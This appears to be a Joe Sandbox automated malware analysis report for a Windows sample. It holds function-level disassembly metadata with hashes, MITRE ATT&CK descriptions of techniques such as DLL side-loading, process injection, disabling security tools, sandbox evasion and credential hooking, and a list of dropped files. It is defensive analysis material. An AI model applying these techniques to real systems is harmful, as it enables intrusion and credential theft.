Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __ctrlfp__handle_exc
String ID: V
API String ID: 1717869095-1533728008
Opcode ID: ca2d369697f50d16fca7e32302e549e00fd9a8186108e840b3b40defbf2f3162
Instruction ID: 4fd945f1cf31cdc7c509ca88de33ee8cea05ed13843e8c870853df76d24d66c3
Opcode Fuzzy Hash: ca2d369697f50d16fca7e32302e549e00fd9a8186108e840b3b40defbf2f3162
Instruction Fuzzy Hash: ED31F57080660DDBDB308FC9DE00BB9B7B4FB01318F504AAED495D6A80DF70A956CB51

Function 6C820F98 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C820FAD

Strings

RR____, xrefs: 6C820FA6, 6C8210FB, 6C821100
-_____, xrefs: 6C820FA1

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: -_____$RR____
API String ID: 1467051239-1029923009
Opcode ID: 2b069fac37f45cb20d4fccb454d279799f9e5f082d2fa71e8931c33553674141
Instruction ID: f01be4b5b20dc3d885edc903b9409b76d00c711529ef72699c5e13beb2d80d20
Opcode Fuzzy Hash: 2b069fac37f45cb20d4fccb454d279799f9e5f082d2fa71e8931c33553674141
Instruction Fuzzy Hash: 2241B42074C1C089DF35861947DE9697AB1A753308FB81E6AC09586E81D76FCCC9D7D2

Function 6C820CB6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C820CD8
_sprintf.LIBCMT ref: 6C820CE9

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Strings

%%.%df, xrefs: 6C820CD2

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__output_l
String ID: %%.%df
API String ID: 1830584065-883532698
Opcode ID: dccba23b48f791cfc3a3fcd09948957217ca9be543ed15c8bc80496173fda1c2
Instruction ID: b6842ebe277128ad68d4a13f5cbbc0e47cd854d8b6ee0fb7629f83015b97c261
Opcode Fuzzy Hash: dccba23b48f791cfc3a3fcd09948957217ca9be543ed15c8bc80496173fda1c2
Instruction Fuzzy Hash: 150147F09052C86EEF26DB38C9585ED7FA49F05208F150CAAD09687E81CB78D5C4C3A1

Function 6C8045AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C804618

Strings

USA, xrefs: 6C8045EC
%s, %s%s%s, xrefs: 6C80460D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %s, %s%s%s$USA
API String ID: 1467051239-886067887
Opcode ID: 4ff1b6bfddf7218fdab925f960bb336b1db370f3d9bc951f9aaa341a591ce5a1
Instruction ID: 1024c7e2db38d3ca2794a51639f0cb04b460800a058de496790ec75d83d56b09
Opcode Fuzzy Hash: 4ff1b6bfddf7218fdab925f960bb336b1db370f3d9bc951f9aaa341a591ce5a1
Instruction Fuzzy Hash: 9AF04C7278842057D7358309DF52A7B1279CBE3719F8AAB59D8005BE11E224CD21C3C1

Function 6C8AAD7B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6C8A71FB: __getptd.LIBCMT ref: 6C8A7201
Part of subcall function 6C8A71FB: __getptd.LIBCMT ref: 6C8A7211

__getptd.LIBCMT ref: 6C8AAD8A

Part of subcall function 6C889165: __getptd_noexit.LIBCMT ref: 6C889168
Part of subcall function 6C889165: __amsg_exit.LIBCMT ref: 6C889175

__getptd.LIBCMT ref: 6C8AAD98

Strings

csm, xrefs: 6C8AADA6

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 0935d24a3e66885606170b8caa28f84b00683a3f1a8be348b3a851d274276c2e
Instruction ID: 171555829af8116d20fc245c419263cbe17a97e9b7e8dafa67917dd186a7cf01
Opcode Fuzzy Hash: 0935d24a3e66885606170b8caa28f84b00683a3f1a8be348b3a851d274276c2e
Instruction Fuzzy Hash: 960146348062058BCB358FB5C6406DEB3B5AF0021BF644D2ED88097E90EF74999ADF41

Function 6C886F04 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,6C886F3D,00000000,00000000,00000000,00000000,00000000,6C89E8EC,?,6C88B838,00000003,6C8837EE,00000001,00000000,00000000), ref: 6C886F0F
__invoke_watson.LIBCMT ref: 6C886F2B

Strings

PN7w, xrefs: 6C886F0F

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: DecodePointer__invoke_watson
String ID: PN7w
API String ID: 4034010525-3458938079
Opcode ID: 0d23abab0b1ff40943d078a2e8465b93d67e52df47b69e9489380a5e5face84f
Instruction ID: 132a2c989f4b61f7368c4f5a2af3f404109c382badb0cc786caefe1591cf0eda
Opcode Fuzzy Hash: 0d23abab0b1ff40943d078a2e8465b93d67e52df47b69e9489380a5e5face84f
Instruction Fuzzy Hash: 3BE0EC72225209BBDF221FA5DE059AA3F6AEB44254B540820FE14C5930D736D834DB95

Function 6C8625E6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C86260A

Part of subcall function 6C885ABF: DeleteFileA.KERNEL32(?,?,6C86237E,astrolog.mdb), ref: 6C885A97
Part of subcall function 6C885ABF: GetLastError.KERNEL32(?,6C86237E,astrolog.mdb), ref: 6C885AA1
Part of subcall function 6C885ABF: __dosmaperr.LIBCMT ref: 6C885AB0

Strings

%s\%s.lnk, xrefs: 6C862604
Astrolog 6.00, xrefs: 6C8625FC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: DeleteErrorFileLast__dosmaperr_sprintf
String ID: %s\%s.lnk$Astrolog 6.00
API String ID: 2218958712-2488748172
Opcode ID: b9703658027cdb5034cc14491066f1a01388c42bd235e857c9daded4956bfe27
Instruction ID: c12044a7b33a602ed68665c3af0d6e7fb6f190c2ce234a55c48b1d050c34da46
Opcode Fuzzy Hash: b9703658027cdb5034cc14491066f1a01388c42bd235e857c9daded4956bfe27
Instruction Fuzzy Hash: 8DE04FB0A0110CABDF20EBA8CE85DDAB3BC9B08204F4008B5A55697B40DF70EA488B91

Function 6C8A3C6F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 6C8A3C74
__NMSG_WRITE.LIBCMT ref: 6C8A3C82

Strings

PN7w, xrefs: 6C8A3C74

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: DecodePointer
String ID: PN7w
API String ID: 3527080286-3458938079
Opcode ID: 330dcf5a1bb32bb103139caaae22cac5e59044a85631ef2954113f7819295a46
Instruction ID: 82bb53863a8d11f5cf25f81fd1eb513ae39981034398774449b77cdbcb63c319
Opcode Fuzzy Hash: 330dcf5a1bb32bb103139caaae22cac5e59044a85631ef2954113f7819295a46
Instruction Fuzzy Hash: EBC08C303D13043AFA3023FC0F137AC60104B42B09F044C32EA06CCDC0EA80CA144037

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8CoDx513sS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll

C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll

C:\Program Files (x86)\cSNNeBKH\libcef.dll

C:\Program Files (x86)\cSNNeBKH\t3d.tmp

C:\Program Files (x86)\cSNNeBKH\t4d.tmp

C:\Program Files (x86)\cSNNeBKH\t5d.tmp

C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

